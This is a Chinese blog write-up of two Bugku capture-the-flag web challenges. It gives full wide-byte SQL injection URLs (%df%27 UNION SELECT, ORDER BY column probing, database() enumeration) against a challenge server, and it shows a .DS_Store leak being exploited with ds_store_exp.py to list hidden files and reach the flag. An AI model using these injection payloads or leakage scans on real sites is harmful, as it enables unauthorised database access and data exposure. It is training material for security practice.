bugku writeup web

原创

quedgee 于 2017-10-27 19:45:55 发布 497 收藏

分类专栏： bugku-wp 文章标签： sql注入 wp

sql注入

先可以通过burp来发现是gbk编码，可以得知可能存在宽字节注入

既然有提示，那么就按照提示来

> 查询key表,id=1的string字段

构造payload

```
http://103.238.227.13:10083/?id=1%df%27 union select 1,string from sql5.key%23
```

得到flag~~~~

有趣的是

http://103.238.227.13:10083/?id=1%df%27 union select 1,string from key where table_schema=database()%23
http://103.238.227.13:10083/?id=1%df%27 union select 1,string from key where table_schema=database() and table_name=key%23

这俩居然是爆不出来的= =

表非得是sql5.key，直接 from key是爆不出来的，所以得先爆出库名

```
http://103.238.227.13:10083/?id=1%df%27 union select 1,database()%23
```

在此之前得先知道有几列

```
http://103.238.227.13:10083/?id=1%df%27 order by 2%23
```

由此得出有两列hhh

**

sql注入2

**

这题有点迷。。。。一上来就是登陆框，尝试各种注入，无果。
参考了大牛们的博客，才晓得是源码泄露

先了解些概念：

```
.DS_Store文件泄漏
漏洞成因：
在发布代码时未删除文件夹中隐藏的.DS_store，被发现后，获取了敏感的文件名等信息。
漏洞利用：
http://www.example.com/.ds_store
注意路径检查
工具：
dsstoreexp
python ds_store_exp.pyhttp://www.example.com/.DS_Store
```

所以，直接cmd

```
D:\ds_store_exp-master>python ds_store_exp.py http://120.24.86.145:8007/web2/.DS_Store
[+] http://120.24.86.145:8007/web2/.DS_Store
[+] http://120.24.86.145:8007/web2/index.php
[+] http://120.24.86.145:8007/web2/login.php
[+] http://120.24.86.145:8007/web2/flag
[+] http://120.24.86.145:8007/web2/admin

D:\ds_store_exp-master>                                    http://blog.csdn.net/quedgee
```

直接打开web2目录下的flag即可，得到flag~~~